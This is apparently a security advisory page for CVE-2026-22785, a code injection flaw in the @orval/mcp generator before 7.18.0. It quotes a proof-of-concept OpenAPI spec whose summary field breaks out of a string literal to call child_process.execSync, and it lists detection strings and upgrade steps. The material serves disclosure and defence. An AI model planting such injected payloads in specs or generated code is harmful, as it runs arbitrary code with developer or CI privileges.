NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-22785: orval MCP client is vulnerable to a code injection attack.

criticalCVSS 4.0 9.3GHSA-mwr6-3gp8-9jmj

The `@orval/mcp` generator before 7.18.0 puts the OpenAPI `summary` field into generated code without escaping it. A crafted spec can break out of the string literal and run JavaScript when the generated MCP server code is produced or run. Anyone who generates MCP servers from an OpenAPI file they did not write is exposed. Upgrade to 7.18.0.

Published Jan 13, 2026 · Analysis Nov 1, 2026

What an attacker can do

Orval's MCP generation builds source code by string manipulation. Each operation's summary is placed in a single-quoted string inside the generated server.tool(...) call. A summary such as Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),// closes the quote, adds an expression and comments out the rest. The advisory's example launches Calculator, but any Node.js code works.

The attacker needs the victim to feed a malicious OpenAPI document to the Orval CLI. That happens when a team pulls a third-party API spec from a URL or repository and generates a client or MCP server from it. The injected code ends up in the generated source and runs with the developer's or CI job's privileges when the server starts. It can read tokens, SSH keys and source. The CVSS 4.0 score is 9.3 critical with no user interaction listed.

Who is affected

The npm package @orval/mcp below 7.18.0, which is used by the Orval CLI when it generates MCP servers. Check the install in your project:

npm ls @orval/mcp orval

Also review the OpenAPI files you pass to Orval, especially specs from outside your organization.

@orval/mcp

Ecosystem
npm
Affected
< 7.18.0
Fixed in
7.18.0
Check
npm ls @orval/mcp

How to fix it

Upgrade to 7.18.0 or later:

npm install --save-dev orval@latest

The fix commit wraps the summary, the operation name and the handler name in jsStringEscape() before they enter the generated server.tool(...) call. The advisory's workaround is to check any OpenAPI YAML or JSON for injected code before you run it through the Orval CLI and correct it. Regenerate any MCP server files you produced from untrusted specs on older versions, and review them for injected expressions.

How to tell if you were hit

Search OpenAPI files for summary values that contain a quote followed by +, require(, child_process, execSync, eval or //. Inspect already generated MCP server sources for server.tool( calls whose description argument contains more than plain text. Check build logs and CI hosts for unexpected processes started during orval runs or when the generated server starts.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Impact

The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code.

Here is an example OpenAPI with the exploit

openapi: 3.0.4
info:
  title: Swagger Petstore - OpenAPI 3.0
  description: |-
    This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about
    Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!
    You can now help us improve the API whether it's by making changes to the definition itself or to the code.
    That way, with time, we can improve the API in general, and expose some of the new features in OAS3.

    Some useful links:
    - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)
    - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)
  termsOfService: https://swagger.io/terms/
  contact:
    email: [email protected]
  license:
    name: Apache 2.0
    url: https://www.apache.org/licenses/LICENSE-2.0.html
  version: 1.0.27-SNAPSHOT
externalDocs:
  description: Find out more about Swagger
  url: https://swagger.io
servers:
  - url: https://petstore3.swagger.io/api/v3
tags:
  - name: pet
    description: Everything about your Pets
    externalDocs:
      description: Find out more
      url: https://swagger.io
  - name: store
    description: Access to Petstore orders
    externalDocs:
      description: Find out more about our store
      url: https://swagger.io
  - name: user
    description: Operations about user
paths:
  /pet/findByStatus:
    get:
      tags:
        - pet
      summary: Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),//
      description: Multiple status values can be provided with comma separated strings.
      operationId: findPetsByStatus
      parameters:
        - name: status
          in: query
          description: Status values that need to be considered for filter
          schema:
            type: string
      responses:
        '200':
          description: successful operation
          content:
            application/json:
              schema:
                type: string
        '400':
          description: Invalid status value
        default:
          description: Unexpected error
      security:
        - petstore_auth:
            - write:pets
            - read:pets

Patches

This is fixed in version 7.18.0 or higher

Workarounds

Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.

Credited to nirhaas.

Questions

Which field carries the payload?

The summary of an operation in the OpenAPI document. The advisory's example puts the injected code in the summary of /pet/findByStatus.

Does the attack need a running server?

No. It runs through code generation. The attacker just needs you to run the Orval CLI on their spec, and the injected expression lives in the generated output.

Is escaping the summary the only fix?

The fix commit also escapes the operation name and the handler name through jsStringEscape(), which closes the same injection route for those values.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries